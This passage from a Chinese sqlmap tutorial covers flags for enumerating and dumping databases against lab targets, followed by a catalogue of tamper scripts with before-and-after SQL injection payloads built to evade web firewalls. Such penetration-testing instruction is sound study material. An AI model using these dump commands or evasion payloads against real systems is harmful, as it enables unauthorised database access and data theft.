參數(shù):–privileges

當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),很可能列舉出每個(gè)用戶的權(quán)限,sqlmap將會(huì)告訴你哪個(gè)是數(shù)據(jù)庫(kù)的超級(jí)管理員。

也可以用-U參數(shù)指定你想看哪個(gè)用戶的權(quán)限。

列出數(shù)據(jù)庫(kù)管理員角色

參數(shù):–roles

當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時(shí),很可能列舉出每個(gè)用戶的角色,也可以用-U參數(shù)指定你想看哪個(gè)用戶的角色。

僅適用于當(dāng)前數(shù)據(jù)庫(kù)是Oracle的時(shí)候。

列出數(shù)據(jù)庫(kù)系統(tǒng)的數(shù)據(jù)庫(kù)

參數(shù):–dbs

當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫(kù)列表信息的表中的時(shí)候,即可列出所有的數(shù)據(jù)庫(kù)。

列舉數(shù)據(jù)庫(kù)表

參數(shù):–tables,–exclude-sysdbs,-D

當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫(kù)表信息的表中的時(shí)候,即可列出一個(gè)特定數(shù)據(jù)的所有表。

sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details"
--tables -D dvwa

如果你不提供-D參數(shù)來(lái)列指定的一個(gè)數(shù)據(jù)的時(shí)候,sqlmap會(huì)列出數(shù)據(jù)庫(kù)所有庫(kù)的所有表。

–exclude-sysdbs參數(shù)是指包含了所有的系統(tǒng)數(shù)據(jù)庫(kù)。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數(shù)據(jù)庫(kù)名稱(chēng)。

列舉數(shù)據(jù)庫(kù)表中的字段

參數(shù):–columns,-C,-T,-D

當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫(kù)表信息的表中的時(shí)候,即可列出指定數(shù)據(jù)庫(kù)表中的字段,同時(shí)也會(huì)列出字段的數(shù)據(jù)類(lèi)型。

如果沒(méi)有使用-D參數(shù)指定數(shù)據(jù)庫(kù)時(shí),默認(rèn)會(huì)使用當(dāng)前數(shù)據(jù)庫(kù)。

$ python sqlmap.py -u "http://*******/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type|
+---------+---------+
| id  | INTEGER |
| name| TEXT|
| surname | TEXT|
+---------+---------+

列舉數(shù)據(jù)庫(kù)系統(tǒng)的架構(gòu)

參數(shù):–schema,–exclude-sysdbs

用戶可以用此參數(shù)獲取數(shù)據(jù)庫(kù)的架構(gòu),包含所有的數(shù)據(jù)庫(kù),表和字段,以及各自的類(lèi)型。

加上–exclude-sysdbs參數(shù),將不會(huì)獲取數(shù)據(jù)庫(kù)自帶的系統(tǒng)庫(kù)內(nèi)容。

MySQL例子:

$ python sqlmap.py -u "http://*******/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column  | Type|
+-------------+---------+
| cid | int(11) |
| mysignature | text|
| password| text|
| username| text|
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column   | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid  | int(11)  |
| comment  | text |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type |
+----------+----------+
| date | datetime |
| browser  | text |
| cid  | int(11)  |
| hostname | text |
| ip   | text |
| referer  | text |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type  |
+---------+---------------+
| id  | int(11)   |
| name| varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

獲取表中數(shù)據(jù)個(gè)數(shù)

參數(shù):–count

有時(shí)候用戶只想獲取表中的數(shù)據(jù)個(gè)數(shù)而不是具體的內(nèi)容,那么就可以使用這個(gè)參數(shù)。

列舉一個(gè)Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table  | Entries |
+----------------+---------+
| dbo.users  | 4   |
| dbo.users_blob | 2   |
+----------------+---------+

獲取整個(gè)表的數(shù)據(jù)

參數(shù):–dump,-C,-T,-D,–start,–stop,–first,–last

如果當(dāng)前管理員有權(quán)限讀取數(shù)據(jù)庫(kù)其中的一個(gè)表的話,那么就能獲取真?zhèn)€表的所有內(nèi)容。

使用-D,-T參數(shù)指定想要獲取哪個(gè)庫(kù)的哪個(gè)表,不使用-D參數(shù)時(shí),默認(rèn)使用當(dāng)前庫(kù)。

列舉一個(gè)Firebird的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME|
+----+--------+------------+
| 1  | luther | blisset|
| 2  | fluffy | bunny  |
| 3  | wu | ming   |
| 4  | NULL   | nameisnull |
+----+--------+------------+

可以獲取指定庫(kù)中的所有表的內(nèi)容,只用-dump-D參數(shù)(不使用-T與-C參數(shù))。

也可以用-dump跟-C獲取指定的字段內(nèi)容。

sqlmap為每個(gè)表生成了一個(gè)CSV文件。

如果你只想獲取一段數(shù)據(jù),可以使用–start和–stop參數(shù),例如,你只想獲取第一段數(shù)據(jù)可hi使用–stop

1,如果想獲取第二段與第三段數(shù)據(jù),使用參數(shù) –start 1 –stop 3。

也可以用–first與–last參數(shù),獲取第幾個(gè)字符到第幾個(gè)字符的內(nèi)容,如果你想獲取字段中地三個(gè)字符到第五個(gè)字符的內(nèi)容,使用–first

3:–last

4:只在盲注的時(shí)候使用,因?yàn)槠渌绞娇梢詼?zhǔn)確的獲取注入內(nèi)容,不需要一個(gè)字符一個(gè)字符的猜解。

獲取所有數(shù)據(jù)庫(kù)表的內(nèi)容

參數(shù):–dump-all,–exclude-sysdbs

使用–dump-all參數(shù)獲取所有數(shù)據(jù)庫(kù)表的內(nèi)容,可同時(shí)加上–exclude-sysdbs只獲取用戶數(shù)據(jù)庫(kù)的表,

需要注意在Microsoft SQL
Servermaster數(shù)據(jù)庫(kù)沒(méi)有考慮成為一個(gè)系統(tǒng)數(shù)據(jù)庫(kù),因?yàn)橛械墓芾韱T會(huì)把他當(dāng)初用戶數(shù)據(jù)庫(kù)一樣來(lái)使用它。

搜索字段,表,數(shù)據(jù)庫(kù)

參數(shù):–search,-C,-T,-D

–search可以用來(lái)尋找特定的數(shù)據(jù)庫(kù)名,所有數(shù)據(jù)庫(kù)中的特定表名,所有數(shù)據(jù)庫(kù)表中的特定字段。

可以在一下三種情況下使用:

-C后跟著用逗號(hào)分割的列名,將會(huì)在所有數(shù)據(jù)庫(kù)表中搜索指定的列名。

-T后跟著用逗號(hào)分割的表名,將會(huì)在所有數(shù)據(jù)庫(kù)中搜索指定的表名

-D后跟著用逗號(hào)分割的庫(kù)名,將會(huì)在所有數(shù)據(jù)庫(kù)中搜索指定的庫(kù)名。

運(yùn)行自定義的SQL語(yǔ)句

參數(shù):–sql-query,–sql-shell

sqlmap會(huì)自動(dòng)檢測(cè)確定使用哪種SQL注入技術(shù),如何插入檢索語(yǔ)句。

如果是SELECT查詢(xún)語(yǔ)句,sqlap將會(huì)輸出結(jié)果。如果是通過(guò)SQL注入執(zhí)行其他語(yǔ)句,需要測(cè)試是否支持多語(yǔ)句執(zhí)行SQL語(yǔ)句。

列舉一個(gè)Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://**********/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
\$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS
VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'

爆破

暴力破解表名

參數(shù):–common-tables

當(dāng)使用–tables無(wú)法獲取到數(shù)據(jù)庫(kù)的表時(shí),可以使用此參數(shù)。

通常是如下情況:

1\. `MySQL`數(shù)據(jù)庫(kù)版本小于5.0,沒(méi)有`information_schema`表。

2\. 數(shù)據(jù)庫(kù)是`Microssoft Access`,系統(tǒng)表`MSysObjects`是不可讀的(默認(rèn))。

3\. 當(dāng)前用戶沒(méi)有權(quán)限讀取系統(tǒng)中保存數(shù)據(jù)結(jié)構(gòu)的表的權(quán)限。

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列舉一個(gè)MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:'4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力破解列名

參數(shù):–common-columns

與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。

可以選擇多線程來(lái)嘗試破解。

針對(duì)過(guò)濾空格的:

1:space2dash.py

作用:用”– 隨機(jī)字符串%0A” 替換原來(lái)的空格

示例:

'1 AND 9227=9227'
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

原理是–n是注釋?zhuān)竺鎯?nèi)容不生效,%0A為換行符,這樣就可以不使用空格分隔了。

在以下版本做過(guò)測(cè)試:

MSSQL
SQLite

2:space2hash.py

作用:空格替換為#號(hào) 隨機(jī)字符串 以及換行符

示例:

1 AND 9227=9227
2 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

版本要求:

MySQL
在以下版本做過(guò)測(cè)試:
MySQL 4.0, 5.0

3: space2morehash.py

作用:空格替換為 #號(hào) 以及更多隨機(jī)字符串 換行符(和上一條原理一致)

示例:

1 AND 9227=9227 
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

版本要求:

  • MySQL >= 5.1.13 Tested
    針對(duì)此做過(guò)測(cè)試:
  • MySQL 5.1.41

space2mssqlblank.py

作用:空格替換為其它空符號(hào)
示例:

SELECT id FROM users 
SELECT%08id%02FROM%0Fusers

版本要求:

Microsoft SQL Server
在以下版本做過(guò)測(cè)試:
Microsoft SQL Server 2000
Microsoft SQL Server 2005

4:space2mysqlblank.py

作用:空格替換其它空白符號(hào)

示例:

SELECT id FROM users 
SELECT%0Bid%0BFROM%A0users

版本要求:

MySQL
在以下版本做過(guò)測(cè)試:
MySQL 5.1

5:space2mssqlhash.py

作用:替換空格

示例:

'1 AND 9227=9227'
'1%23%0AAND%23%0A9227=9227'

版本要求:

MSSQL
MySQL

6:modsecurityversioned.py

作用:過(guò)濾空格,包含完整的查詢(xún)版本注釋

示例:

'1 AND 2>1--'
'1 /*!30874AND 2>1*/--'

版本要求:

MySQL
在以下版本做過(guò)測(cè)試:
MySQL 5.0

7:space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘/**/’

示例:

SELECT id FROM users 
SELECT//id//FROM/**/users

在以下版本做過(guò)測(cè)試:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

8:space2mysqldash.py

作用:用–%0A替換空格

注:之前有個(gè)mssql的 這個(gè)是mysql

示例:

'1 AND 9227=9227'
'1--%0AAND--%0A9227=9227'

版本要求:

MySQL
MSSQL

9:space2plus.py

作用:用+替換空格

示例:

'SELECT id FROM users'
'SELECT+id+FROM+users'

在以下版本做過(guò)測(cè)試:

All

10:bluecoat.py

作用:代替空格字符后與一個(gè)有效的隨機(jī)空白字符的SQL語(yǔ)句。 然后替換=為like

示例:

'SELECT id FROM users where id = 1'
'SELECT%09id FROM users where id LIKE 1'

在以下版本做過(guò)測(cè)試:

MySQL 5.1, SGOS

11:space2randomblank.py

作用:代替空格字符(“”)從一個(gè)隨機(jī)的空白字符可選字符的有效集

示例:

'SELECT id FROM users'
'SELECT%0Did%0DFROM%0Ausers'

在以下版本做過(guò)測(cè)試:

All

12:sp_password.py

作用:追加sp_password’從DBMS日志的自動(dòng)模糊處理的有效載荷的末尾

示例:

'1 AND 9227=9227-- '
'1 AND 9227=9227-- sp_password'

版本要求: * MSSQL

針對(duì)過(guò)濾引號(hào)的:

1:apostrophemask.py

作用:用utf8代替單引號(hào)

示例:

"1 AND '1'='1"
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

在以下版本做過(guò)測(cè)試:

all

2:apostrophenullencode.py

作用:繞過(guò)過(guò)濾雙引號(hào),替換字符和雙引號(hào)。

示例:

"1 AND '1'='1"
'1 AND %00%271%00%27=%00%271'

在以下版本做過(guò)測(cè)試:

MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

針對(duì)過(guò)濾關(guān)鍵字的:

1:halfversionedmorekeywords.py

作用:當(dāng)數(shù)據(jù)庫(kù)為mysql時(shí)繞過(guò)防火墻,每個(gè)關(guān)鍵字之前添加mysql版本評(píng)論

示例:

("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

版本要求:

MySQL < 5.1
在以下版本做過(guò)測(cè)試:
MySQL 4.0.18, 5.0.22

2:ifnull2ifisnull.py

作用:繞過(guò)對(duì)IFNULL過(guò)濾。 替換類(lèi)似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

示例:

'IFNULL(1, 2)'
'IF(ISNULL(1),2,1)'

版本要求:

MySQL
SQLite (possibly)
SAP MaxDB (possibly)
在以下版本做過(guò)測(cè)試:
MySQL 5.0 and 5.5

3:multiplespaces.py

作用:圍繞SQL關(guān)鍵字添加多個(gè)空格

示例:

'1 UNION SELECT foobar'
'1 UNION SELECT foobar'

在以下版本做過(guò)測(cè)試:

All

4:halfversionedmorekeywords.py

作用:關(guān)鍵字前加注釋

示例:

value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa 
value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

版本要求:

MySQL < 5.1
在以下版本做過(guò)測(cè)試:
MySQL 4.0.18, 5.0.22

5:unionalltounion.py

作用:替換UNION ALL SELECT UNION SELECT

示例:

'-1 UNION ALL SELECT'
'-1 UNION SELECT'

版本要求: all

6:randomcomments.py

作用:用/**/分割sql關(guān)鍵字

‘INSERT’
‘IN//S//ERT’

7:unmagicquotes.py

作用:寬字符繞過(guò) GPC addslashes

示例:

1’ AND 1=1 
 1%bf%27 AND 1=1–%20
8:randomcase.py

作用:隨機(jī)大小寫(xiě)

示例:
INSERT
InsERt
在以下版本做過(guò)測(cè)試:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

針對(duì)過(guò)濾比較符號(hào)的:

1:equaltolike.py

作用:like 代替等號(hào)

示例:

SELECT * FROM users WHERE id=1
SELECT * FROM users WHERE id LIKE 1

2:greatest.py

作用:繞過(guò)過(guò)濾’>’ ,用GREATEST替換大于號(hào)。

示例:

'1 AND A > B'
'1 AND GREATEST(A,B+1)=A'

在以下版本做過(guò)測(cè)試:

MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

3:between.py

作用:用between替換大于號(hào)(>)

示例:

'1 AND A > B--'
'1 AND A NOT BETWEEN 0 AND B--'

在以下版本做過(guò)測(cè)試:

Microsoft SQL Server 2005 MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

其他類(lèi)型:

1:versionedmorekeywords.py

作用:注釋繞過(guò)

示例:

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 
1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

版本要求:

MySQL >= 5.1.13

2:securesphere.py

作用:追加特制的字符串

示例:

'1 AND 1=1'
"1 AND 1=1 and '0having'='0having'"

在以下版本做過(guò)測(cè)試:

All

3:charunicodeencode.py

作用:字符串 unicode 編碼

示例:

SELECT FIELD%20FROM TABLE
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

版本要求:

ASP
ASP.NET
在以下版本做過(guò)測(cè)試:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3

4:charencode.py

作用:url編碼

示例:

SELECT FIELD FROM%20TABLE
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

在以下版本做過(guò)測(cè)試:

Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

5:appendnullbyte.py

作用:在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼

‘1 AND 1=1’
‘1 AND 1=1%00’

版本要求:

Microsoft Access

6:chardoubleencode.py

作用: 雙url編碼(不處理以編碼的)

示例:

SELECT FIELD FROM%20TABLE 
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

7:base64encode.py

作用:用base64編碼替換

示例:

"1' AND SLEEP(5)#"
'MScgQU5EIFNMRUVQKDUpIw=='

版本要求:

all

8:nonrecursivereplacement.py

作用:雙重查詢(xún)語(yǔ)句。取代predefined SQL關(guān)鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

示例:

'1 UNION SELECT 2--'
'1 UNIOUNIONN SELESELECTCT 2--'

在以下版本做過(guò)測(cè)試:

all

后續(xù)內(nèi)容將會(huì)繼續(xù)更新。。。。。。。。。

參考資料:

安全牛課堂-kali-linux-web篇

sqlmap用戶手冊(cè)中文版:https://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Introduction.html

sqlmap用戶手冊(cè):http://drops.xmd5.com/static/drops/tips-143.html

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容